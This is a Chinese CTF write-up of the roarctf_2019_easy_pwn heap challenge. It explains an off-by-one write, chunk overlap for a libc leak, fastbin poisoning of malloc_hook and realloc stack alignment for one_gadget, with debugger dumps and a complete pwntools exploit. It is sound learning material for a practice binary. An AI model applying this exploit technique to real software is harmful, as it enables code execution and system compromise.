# 这次的题比较难搞,但是攻击点挺单一,过程中里到了 2 个手法

# 环境以及保护

giantbranch@ubuntu:~/Desktop/buuoj/roarctf_2019_easy_pwn$ checksec --file=roarctf
[*] '/home/giantbranch/Desktop/buuoj/roarctf_2019_easy_pwn/roarctf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开了,那么我们只能考虑劫持 malloc_hook, 或者 IO_FILE。这里我还是优先考虑了劫持 mallochook,使用 onegadget。还是因为 buuoj 不给 libc,虽然 ubuntu16 的 docker 容器中 glibc 通常为 ubunt11.2 或者 ubuntu11.3,但是这里还是不行,猜测可能是 11.1 的版本,这里就不过多的猜测了,泄露版本永远都不是重点和难点。

# 题目主要代码

int menu()
{
  puts("Note system");
  puts("1. create a note");
  puts("2. write note");
  puts("3. drop the note");
  puts("4. show the note");
  puts("5. exit");
  return printf("choice: ");
}

其实每次看这个 menu 的页面,就可以知道重点关注什么地方了。这个题呢,还是毕竟规矩的创建,编辑,输出,删除。考虑几个点有没有溢出,有没有 UAF.

很遗憾这个题并没有太多的机会,只有 1 字节溢出,free 后指针清空

__int64 sub_C46()
{
  __int64 result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  int size; // [rsp+8h] [rbp-18h]
  void *v4; // [rsp+10h] [rbp-10h]
  result = 0LL;
  for ( i = 0; i <= 15; ++i )
  {
    result = *((unsigned int *)&inuse + 4 * i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      size = getnum(v2);
      if ( size > 0 )
      {
        if ( size > 0x1000 )
          size = 0x1000;
        v4 = calloc(size, 1uLL);
        if ( !v4 )
          exit(-1);
        *((_DWORD *)&inuse + 4 * i) = 1;
        *((_DWORD *)&Size + 4 * i) = size;
        list[2 * i] = v4;
        printf("the index of ticket is %d \n", (unsigned int)i);
      }
      return (unsigned int)i;
    }
  }
  return result;
}
__int64 __fastcall read_content(__int64 a1, int size)
{
  __int64 v3; // [rsp+18h] [rbp-18h]
  ssize_t v4; // [rsp+20h] [rbp-10h]
  if ( !size )
    return 0LL;
  v3 = 0LL;
  while ( size > v3 )
  {
    v4 = read(0, (void *)(v3 + a1), size - v3);
    if ( v4 > 0 )
      v3 += v4;
  }
  return v3;
}
__int64 __fastcall read_size(int a1, unsigned int a2)
{
  __int64 result; // rax
  if ( a1 > (int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;                   // off_by_one
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}
//write_note
__int64 sub_E82()
{
  int v1; // [rsp+Ch] [rbp-14h]
  int size; // [rsp+Ch] [rbp-14h]
  int idx; // [rsp+10h] [rbp-10h]
  unsigned int v4; // [rsp+14h] [rbp-Ch]
  printf("index: ");
  size = getnum(v1);
  idx = size;
  if ( size >= 0 && size <= 15 )
  {
    size = *((_DWORD *)&inuse + 4 * size);
    if ( size == 1 )
    {
      printf("size: ");
      size = getnum(1);
      v4 = read_size(*((unsigned int *)&Size + 4 * idx), (unsigned int)size);// 存在 1 字节溢出
      if ( size > 0 )
      {
        printf("content: ");
        size = read_content(list[2 * idx], v4); // 不能输入少于 size 的内容
      }
    }
  }
  return (unsigned int)size;
}
//drop note
__int64 sub_F8E()
{
  int idx; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]
  printf("index: ");
  idx = getnum(v3);
  v4 = idx;
  v2 = idx;
  if ( idx >= 0LL && idx <= 15LL )
  {
    v4 = *((int *)&inuse + 4 * idx);
    if ( v4 == 1 )
    {
      *((_DWORD *)&inuse + 4 * idx) = 0;
      *((_DWORD *)&Size + 4 * idx) = 0;
      free((void *)list[2 * idx]);
      list[2 * v2] = 0LL;                       // 不存在 uaf
    }
  }
  return v4;
}
__int64 __fastcall output_content(__int64 a1, int a2)
{
  __int64 v3; // [rsp+18h] [rbp-18h]
  ssize_t v4; // [rsp+20h] [rbp-10h]
  if ( !a2 )
    return 0LL;
  v3 = 0LL;
  while ( a2 > v3 )
  {
    v4 = write(1, (const void *)(v3 + a1), a2 - v3);
    if ( v4 > 0 )
      v3 += v4;
  }
  return v3;
}
__int64 delete()
{
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+0h] [rbp-10h]
  int v3; // [rsp+4h] [rbp-Ch]
  printf("index: ");
  v2 = getnum(v1);
  v3 = v2;
  if ( v2 >= 0 && v2 <= 15 )
  {
    v2 = *((_DWORD *)&inuse + 4 * v2);
    if ( v2 == 1 )
    {
      printf("content: ");
      v2 = output_content(list[2 * v3], *((unsigned int *)&Size + 4 * v3));
    }
  }
  return (unsigned int)v2;
}

代码实现的逻辑还算比较哇民政,没有太大的问题。由于题目保护全开了,操作空间就很小。唯一的漏洞还非常明显 if (a2 - a1 == 10)
LODWORD (result) = a1 + 1; 其中 a1 是我们创建时输入的 size,a2 是我们进行 write 时输入的 size,经典的手法创建时是不进行 16 字节对齐,卡最大的堆块界限,0x88,write 时只要输入的时 0x88+10 ,就可以实现 1 字节的溢出。

# 解题:

# 泄露地址

因为题目在申请堆块的时候,使用的是 calloc,会对返回的堆块进行初始化。所以我们必须构造的时堆块的重叠或者重复使用

这里我们只着重介绍两种手法的实现,就不具体展示利用过程了,因为流程比较固定;

add(0x80)
add(0x88)			#泄露
add(0x68)
add(0x80)
free(0)
write(2,0x68+10,b'\x00'*0x61+p64(0x190)+b'\x90')
free(3)

这个是经典的套路了,利用 unsortedbins 的双链表绕过 unlink 的检查,成功的 chunk0 合并到 topchunk,作为新的 topchunk, 这个时候 chunk1 仍在使用,但是被包含进了 topchnk,那么我们下面如果重复申请 add (0x88),add (0x18), 就可以在 bss 的链表中两次利用了,人为的 uaf,这里的话呢,我写的 0x18 比较小,可以写大点,比如 0x88,然后重复申请后,有两个地方的指针指向这块区域,释放一个,用另外一个进行泄露(因为 0x91 的大小又被写进了 unsortedbins)这样有了 libc 的基地址。通过上述流程我们就是实现了人为的 uaf。如果我们话存在一个 0x70 大小的堆块的重复利用,就可以进行 fastbinsattack,将 malloc_hook-0x23 写入 fastbins,然后就可以可以申请出来实现 malloc_hook 的劫持。

这个操作就很经典了,劫持 malloc_hook 后查看栈的结构,寻找满足要求的 onegadegt

# 瞎操作

我在第一次进行 unlink 操作时,因为不仅修改了后面堆块的堆头,还修改了假 tophcunk 的堆头,同样想利用 unsortedbin 的双链表绕过检查,但是失败了

add(0x18)
add(0x80)
add(0x18)
add(0x80)
free(1)
write(0,0x18+10,p64(0)*3+b'\xb0')
write(2,0x18+10,p64(0)*2+p64(0xb0)+b'\x91')
free(3)
add(0x88)

但是,却误打误撞的绕过了 unsortedbins 的检查,如果释放 1,然后修改他的 size(0x90--->0xb0), 期望能够切割堆块 (0x90),然后剩下的 0x20 会被加入对应的 bins,这里会报错我还没有搞清楚原因,报错的信息大概是 prevsize 不合法。

然后我的瞎操作就饶过了一系列的检查,虽然没能构造新的 topchunk, 但是 chunk1 的紧邻堆块 2 是我们在使用的,当我们 add (0x88),会对其进行切割,剩下的 0x20 会进入 unsortedbin 的双链表,而这剩下的就是我们使用的 chunk2,这样 chunk 的 fd,bk 指针指向 main_arena,这样既可以完成了泄露

unsortedbin
all: 0x55ad680a80b0 —▸ 0x7f39d1cdab78 (main_arena+88) ◂— 0x55ad680a80b0
smallbins
empty
largebins
empty
pwndbg> x/2gx 0x55ad680a80b0
0x55ad680a80b0:	0x0000000000000000	0x0000000000000021
pwndbg>

然后申请出来

0x55ad67ba8040:	0x0000001800000001	0x000055ad680a8010
0x55ad67ba8050:	0x0000008800000001	0x000055ad680a8030
0x55ad67ba8060:	0x0000001800000001	0x000055ad680a80c0
0x55ad67ba8070:	0x0000001000000001	0x000055ad680a80c0

就可以重复利用,我们利用 chunk1 来修改 chunk 的 size(0x21---->0x71),这样当 chunk2 释放后门进入 fastbin, 利用 chunk3 修改 fd 指针,就把 malloc_hook 链接入 fastbins。free chnnk 进入 fastbins 时,要保证 chunk 的下一个 chunk 合法,但是只会检查 size,这里我直接申请一个堆块绕过,后面申请到 aimed_chunk 就比较简单了。

最后就是这个 onegadegt 了,很不幸这里没有合适的

RAX  0xcafebabedeadbeef
 RBX  0x0
 RCX  0x10
 RDX  0x11
 RDI  0x10
 RSI  0x55fafa1d3cd1 ◂— mov    qword ptr [rbp - 0x10], rax
 R8   0x0
 R9   0x0
 R10  0x0
 R11  0x7f55c10ef6e0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R12  0x55fafa1d39a0 ◂— xor    ebp, ebp
 R13  0x7ffc37dd49f0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x10
 RSP  0x7ffc37dd48a0 ◂— 0x7
 RIP  0x7f55c0ffd028 (calloc+680) ◂— call   rax
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x7f55c0ffd028 <calloc+680>    call   rax
 
   0x7f55c0ffd02a <calloc+682>    xor    esi, esi
   0x7f55c0ffd02c <calloc+684>    test   rax, rax
   0x7f55c0ffd02f <calloc+687>    mov    rdx, rbp
   0x7f55c0ffd032 <calloc+690>    mov    rdi, rax
   0x7f55c0ffd035 <calloc+693>    jne    calloc+656 <0x7f55c0ffd010>
 
   0x7f55c0ffd037 <calloc+695>    xor    eax, eax
   0x7f55c0ffd039 <calloc+697>    jmp    calloc+312 <0x7f55c0ffceb8>
 
   0x7f55c0ffd03e <calloc+702>    nop    
   0x7f55c0ffd040 <calloc+704>    mov    rax, qword ptr [rip + 0x33ee31]
   0x7f55c0ffd047 <calloc+711>    mov    dword ptr fs:[rax], 0xc
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp  0x7ffc37dd48a0 ◂— 0x7
01:0008│      0x7ffc37dd48a8 ◂— 0x0
02:0010│      0x7ffc37dd48b0 —▸ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push   r15
03:0018│      0x7ffc37dd48b8 —▸ 0x55fafa1d39a0 ◂— xor    ebp, ebp
04:0020│      0x7ffc37dd48c0 —▸ 0x7ffc37dd49f0 ◂— 0x1
05:0028│      0x7ffc37dd48c8 —▸ 0x55fafa1d3cd1 ◂— mov    qword ptr [rbp - 0x10], rax
06:0030│      0x7ffc37dd48d0 ◂— 0x7fa1d39a0
07:0038│      0x7ffc37dd48d8 ◂— 0x100000010
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0     7f55c0ffd028 calloc+680
   f 1     55fafa1d3cd1
   f 2        7fa1d39a0
   f 3        100000010
   f 4        100000006
   f 5  3bdcd6e58a0f900
   f 6     7ffc37dd4910
   f 7     55fafa1d4258
   f 8        137dd49f0
   f 9  3bdcd6e58a0f900
   f 10     55fafa1d42c0
Program received signal SIGSEGV (fault address 0x0)
    
pwndbg> stack 40
00:0000│ rsp  0x7ffc37dd48a0 ◂— 0x7
01:0008│      0x7ffc37dd48a8 ◂— 0x0
02:0010│      0x7ffc37dd48b0 —▸ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push   r15
03:0018│      0x7ffc37dd48b8 —▸ 0x55fafa1d39a0 ◂— xor    ebp, ebp
04:0020│      0x7ffc37dd48c0 —▸ 0x7ffc37dd49f0 ◂— 0x1
05:0028│      0x7ffc37dd48c8 —▸ 0x55fafa1d3cd1 ◂— mov    qword ptr [rbp - 0x10], rax
06:0030│      0x7ffc37dd48d0 ◂— 0x7fa1d39a0
07:0038│      0x7ffc37dd48d8 ◂— 0x100000010
08:0040│      0x7ffc37dd48e0 ◂— 0x100000006
09:0048│      0x7ffc37dd48e8 ◂— 0x3bdcd6e58a0f900
0a:0050│      0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push   r15
0b:0058│      0x7ffc37dd48f8 —▸ 0x55fafa1d4258 ◂— jmp    0x55fafa1d42ad
0c:0060│      0x7ffc37dd4900 ◂— 0x137dd49f0
0d:0068│      0x7ffc37dd4908 ◂— 0x3bdcd6e58a0f900
0e:0070│      0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push   r15
0f:0078│      0x7ffc37dd4918 —▸ 0x7f55c0f98840 (__libc_start_main+240) ◂— mov    edi, eax
10:0080│      0x7ffc37dd4920 —▸ 0x7ffc37dd49f8 —▸ 0x7ffc37dd6080 ◂— './roarctf'
... ↓
12:0090│      0x7ffc37dd4930 ◂— 0x1c1104708
13:0098│      0x7ffc37dd4938 —▸ 0x55fafa1d41ec ◂— push   rbp
14:00a0│      0x7ffc37dd4940 ◂— 0x0
15:00a8│      0x7ffc37dd4948 ◂— 0x21d72319ef57efa6
16:00b0│      0x7ffc37dd4950 —▸ 0x55fafa1d39a0 ◂— xor    ebp, ebp
17:00b8│      0x7ffc37dd4958 —▸ 0x7ffc37dd49f0 ◂— 0x1
18:00c0│      0x7ffc37dd4960 ◂— 0x0
... ↓
1a:00d0│      0x7ffc37dd4970 ◂— 0x75dab899f897efa6
1b:00d8│      0x7ffc37dd4978 ◂— 0x748956d06527efa6
1c:00e0│      0x7ffc37dd4980 ◂— 0x0
... ↓
1f:00f8│      0x7ffc37dd4998 —▸ 0x7ffc37dd4a08 —▸ 0x7ffc37dd608a ◂— 0x52454d554e5f434c ('LC_NUMER')
20:0100│      0x7ffc37dd49a0 —▸ 0x7f55c1569168 —▸ 0x55fafa1d3000 ◂— jg     0x55fafa1d3047
21:0108│      0x7ffc37dd49a8 —▸ 0x7f55c135280b (_dl_init+139) ◂— jmp    0x7f55c13527e0
22:0110│      0x7ffc37dd49b0 ◂— 0x0
... ↓
24:0120│      0x7ffc37dd49c0 —▸ 0x55fafa1d39a0 ◂— xor    ebp, ebp
25:0128│      0x7ffc37dd49c8 —▸ 0x7ffc37dd49f0 ◂— 0x1
26:0130│      0x7ffc37dd49d0 ◂— 0x0
27:0138│      0x7ffc37dd49d8 —▸ 0x55fafa1d39c9 ◂— hlt    

我们来看看 onegadegt:

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 -l3
/var/lib/gems/2.3.0/gems/one_gadget-1.6.2/lib/one_gadget/fetchers/base.rb:45: warning: Insecure world writable dir /home/giantbranch in PATH, mode 040777
0x45226	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4527a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xcd173	execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL
0xcd248	execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL
0xf03a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf03b0	execve("/bin/sh", rsi, [rax])
constraints:
  [rsi] == NULL || rsi == NULL
  [[rax]] == NULL || [rax] == NULL
0xf1247	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
0xf67f0	execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL

这个时候我们尝试 realloc_hook,mallo_hook 复写为 realloc,realloc_hook 写为 onegadget ,

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0xcafebabedeadbeef
 RBX  0x10
 RCX  0x10
 RDX  0x7f31162cc02a (calloc+682) ◂— xor    esi, esi
 RDI  0x10
 RSI  0x55fc4e86dcd1 ◂— mov    qword ptr [rbp - 0x10], rax
 R8   0x0
 R9   0x0
 R10  0x0
 R11  0x7f31163be6e0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 R12  0x55fc4e86dcd1 ◂— mov    qword ptr [rbp - 0x10], rax
 R13  0x7ffedb4e1860 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x10
 RSP  0x7ffedb4e16a0 ◂— 0x0
 RIP  0x7f31162cb95d (realloc+589) ◂— call   rax
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f31162cb95d <realloc+589>    call   rax
 
   0x7f31162cb95f <realloc+591>    mov    rbp, rax
   0x7f31162cb962 <realloc+594>    jmp    realloc+213 <0x7f31162cb7e5>
 
   0x7f31162cb967 <realloc+599>    nop    word ptr [rax + rax]
   0x7f31162cb970 <realloc+608>    mov    rax, qword ptr [rip + 0x33f501]
   0x7f31162cb977 <realloc+615>    xor    ebp, ebp
   0x7f31162cb979 <realloc+617>    mov    dword ptr fs:[rax], 0xc
   0x7f31162cb980 <realloc+624>    jmp    realloc+213 <0x7f31162cb7e5>
 
   0x7f31162cb985 <realloc+629>    nop    dword ptr [rax]
   0x7f31162cb988 <realloc+632>    lea    rax, [r15 - 8]
   0x7f31162cb98c <realloc+636>    mov    rbp, rbx
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp  0x7ffedb4e16a0 ◂— 0x0
...
02:00100x7ffedb4e16b0 —▸ 0x7f311681c700 ◂— 0x7f311681c700
03:00180x7ffedb4e16b8 ◂— 9 /* '\t' */
04:00200x7ffedb4e16c0 —▸ 0x7f311660c6a3 (_IO_2_1_stdout_+131) ◂— 0x60d780000000000a /* '\n' */
05:00280x7ffedb4e16c8 —▸ 0x7ffedb4e1860 ◂— 0x1
06:00300x7ffedb4e16d0 ◂— 0x0
...
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0     7f31162cb95d realloc+589
   f 1     7f31162cc02a calloc+682
   f 2     55fc4e86dcd1
   f 3        74e86d9a0
   f 4        100000010
   f 5        100000006
   f 6 54a26cc778083a00
   f 7     7ffedb4e1780
   f 8     55fc4e86e258
   f 9        1db4e1860
   f 10 54a26cc778083a00
Program received signal SIGSEGV (fault address 0x0)
pwndbg> stack 20
00:0000│ rsp  0x7ffedb4e16a0 ◂— 0x0
...
02:00100x7ffedb4e16b0 —▸ 0x7f311681c700 ◂— 0x7f311681c700
03:00180x7ffedb4e16b8 ◂— 9 /* '\t' */
04:00200x7ffedb4e16c0 —▸ 0x7f311660c6a3 (_IO_2_1_stdout_+131) ◂— 0x60d780000000000a /* '\n' */
05:00280x7ffedb4e16c8 —▸ 0x7ffedb4e1860 ◂— 0x1
06:00300x7ffedb4e16d0 ◂— 0x0
...
08:00400x7ffedb4e16e0 ◂— 0x10
09:00480x7ffedb4e16e8 —▸ 0x55fc4e86d9a0 ◂— xor    ebp, ebp
0a:00500x7ffedb4e16f0 —▸ 0x7ffedb4e1860 ◂— 0x1
0b:00580x7ffedb4e16f8 ◂— 0x0
...
0d:00680x7ffedb4e1708 —▸ 0x7f31162cc02a (calloc+682) ◂— xor    esi, esi
0e:00700x7ffedb4e1710 ◂— 0x7
0f:00780x7ffedb4e1718 ◂— 0x0
10:00800x7ffedb4e1720 —▸ 0x7ffedb4e1760 —▸ 0x7ffedb4e1780 —▸ 0x55fc4e86e2c0 ◂— push   r15
11:00880x7ffedb4e1728 —▸ 0x55fc4e86d9a0 ◂— xor    ebp, ebp
12:00900x7ffedb4e1730 —▸ 0x7ffedb4e1860 ◂— 0x1
13:00980x7ffedb4e1738 —▸ 0x55fc4e86dcd1 ◂— mov    qword ptr [rbp - 0x10], rax
pwndbg>

这里 rsp+0x30 为 0,就满足了一个 onegadget.

有时候 realloc 仍旧无法满足,那么我们尝试 realloc 偏移,realloc 调栈 的原理在于其调用 realloc_hook 前,会有多个 push 操作,利用这个可以是默写栈空间经过操作偏移后,满足要求。

# exp:

from pwn import *
#context.log_level = 'debug'
#r=remote('node4.buuoj.cn',29287)
r=process("./roarctf")
elf = ELF("./roarctf")
#libc = ELF("./libc-2.23.so")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def ch(i):
	r.sendlineafter("choice: ",str(i))
def add(size):
	ch(1)
	r.sendlineafter("size: ",str(size))
def write(idx,size,content):
	ch(2)
	r.sendlineafter("index: ",str(idx))
	r.sendlineafter("size: ",str(size))
	r.sendafter("content: ",content)
def show(idx):
	ch(4)
	r.sendlineafter("index: ",str(idx))
def free(idx):	
	ch(3)
	r.sendlineafter("index: ",str(idx))
gdb.attach(r,'b calloc')
add(0x18)
add(0x80)
add(0x18)
add(0x80)
free(1)
write(0,0x18+10,p64(0)*3+b'\xb0')
write(2,0x18+10,p64(0)*2+p64(0xb0)+b'\x91')
free(3)
add(0x88)
show(2)
r.recvuntil("content: ")
addr = u64(r.recv(6).ljust(8,b'\x00'))
offset = 0x7f99de237b88-0x7f99dde73000
libc_base = addr -(0x7f99de237b88-0x7f99dde73000)+0x10
malloc_hook = libc_base+0x3c4b10
print("malloc_hook : ",hex(malloc_hook))
#onegadget = 0xcafebabedeadbeef
onegadget = 0x4527a+libc_base
realloc = libc_base+ libc.symbols['realloc']
print("main_arena : ",hex(addr))
add(0x10)
add(0x40)
add(0x18)
write(1,0x88+10,p64(0)*17+b'\x71')
free(2)
write(3,0x10,p64(malloc_hook-0x23)*2)
payload = b'\x00'*(0x13-8)+p64(onegadget)
payload +=p64(realloc)
payload += b'\x00' * (0x60-len(payload)) 
add(0x60)
add(0x60)
write(6,0x60,payload)
add(0x10)
r.interactive()